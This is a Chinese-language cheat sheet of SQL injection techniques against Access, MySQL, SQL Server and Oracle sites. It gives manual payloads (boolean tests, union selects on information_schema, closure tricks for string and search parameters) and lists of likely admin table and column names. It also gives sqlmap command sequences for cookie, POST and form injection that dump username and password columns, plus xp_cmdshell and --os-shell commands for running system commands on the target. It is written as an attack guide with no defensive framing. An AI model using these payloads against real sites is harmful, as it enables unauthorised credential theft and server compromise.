Sqlmap注入技巧
php+mysql注入方法:http://tieba.baidu.com/p/3723202169
http://www.cnblogs.com/Javame/p/3753060.html sqlmap命令大全
1:access注入
猜解表名 and exists (select * from admin)
猜解列名 and exists(select username from admin)
常用的表名 admin user news manage a_admin x_admin m_admin adminuser admin_user article_admin administrator manager member memberlist users Manage_User user_info admin_userinfo login new
常用的列名 username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin administrator administrators adminpassword admin_pwd adminpass userpass user_pass admin_passwod
sqlmap注入access
sqlmap -u url
sqlmap -u url --tables
sqlmap -u url -T 数据库名称 --columns
sqlmap -u url -T 数据库名称 -C user,password --dump
MySQL注入
1:判断是否存在注入:and 1=1 and 1=2
2:查询当前页面所链接的数据库列名(前面要报错) order by
操作系统版本查询 @@version_compile_os
版本查询version()
查询当前页面所链接的数据库名字database()
数据库用户名字user()
3:查询表名 1,gooup_concat(table_name)3,4,5,6,...... from information_schema.tables where table_schema=database(转换16进制)
查列名1,gooup_concat(column_name)3,4,5,6,...... from information_schema.columns where table_name=表名(转换16进制)
4:查询数据:url union select1,2,3........from admin
MySQL注入的sqlmap注入:
1:sqlmap.py -u "注入点"
2:sqlmap.py -u "注入点" --dbs(查数据库)
3:sqlmap.py -u "注入点" -D(指定表名)某表名 --tables (-T是指定数据名)
4:sqlmap.py -u "注入点" -D(指定表名) 某表名 -T admin C “username,password” --dump(爆数据)
cookie注入和post注入
网站传递参数的方式:
1:get形式 一般访问网页行为
2:cookie形式 伴随着所有访问网页的行为
3:post形式 上传文件,登陆
cookie形式注入原理就是对get传递来的参数进行了过滤,但是武略了cookie也可以传递参数
如何判断cookie注入(传输错如网页拦截之类的)
去掉id=xx 查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
清空浏览器地址栏,输入Javascript:alert(document.cookie="id"=escape("id参数")) 按回车键后弹出一个对话框,内容是id=xx , 然后用原来的URL刷新页面,如果显示正常,说明应用是request("id")这种方式获取数据的
然后重复上面的步骤,讲常规的sql注入语句带入到上面的URL:Javascript:alert(document.cookie="id="+escape("xx and 1=1"))
Javascript:alert(document.cookie="id="+escape("xx and 1=2"))
和常规sql注入一样,如果分别返回正常是不正常,则说明存在注入漏洞,并且可以cookie注入
使用常规注入即可
用sqlmap进行cookie注入
sqlmap.py -u 注入点URL --cookie "id=xx" --level 3
sqlmap.py -u url --cookie "id=xx" --level 3 --tables(猜表名)
sqlmap.py -u url --cookie "id=xx" --level 3 -T 表名 --coiumns
sqlmap.py -u url --cookie "id=xx" --level 3 -T 表名 -C username,password --dump
post注入
判断post注入
';exec master..xp_cmdshell'iisreset';
sqlmap的三种注入post注入方法
1:自动填写表单:
sqlmap.py -u URL --forms 直接一路回车
sql server 数据库类似于MySQL
sqlmap.py -u URL --forms --dbs(数据库)
注意:遇到数据库非常多,而且我们不知道管理账号密码存放在那个数据库中,我们该怎么办?如下:
sqlmap.py -u URL --forms --current-db(找当前数据库)
找表名:sqlmap.py -u URL --forms -D 数据库名称 --tables(猜解他数据库下的表名)
找列名:sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns
爆数据:sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -C username,password --dump
2:sqlmap结合burpsuite注入
抓包
sqlmap检测:sqlmap.py -r burpsuite抓包.txt
3:指定表单注入
burpsuite截包
sqlmap.py -u URL --data “username=a&password=a”
4:oracle注入
sqlmap交互式
交互式执行cmd命令:sqlmap.py -u URL --os-cmd=命令
交互式写入shell:sqlmap.py -u URL --os-shell 里面也可以执行cmd命令
在根目录下生成两个文件:tmpbxbxz.php 和tmpuoiuz.php
交互式执行sql命令:sqlmap.py -u URL --sql-shell 执行命令sql命令getshell
伪静态的注入:
sqlmap -u URL --dbs
延时注入:
sqlmap.py -u URL --technique -T --current-user
数字型,字符型,搜索型注入
数字型:select*from admin where id=$id
字符型:select*from admin where uid='$uid'
搜索性:select*from admin where pid like'%$pid%'order by pid
注入方法:闭合注入,
字符型
闭合注入手法:'and'1'='1
形成的SQL语句:select*from admin where uid='$xx'and'1'='1'
select*from admin where uid='$xx'and'1'='2'
注入方法
'语句 and'1'='1
搜索型
注入方法:%'and'%1%'=%1
%'语句 and'%1%'=%1
注释法
直接 order by 报错
注释order by 1--
--(2个斜杠是php注释的意思)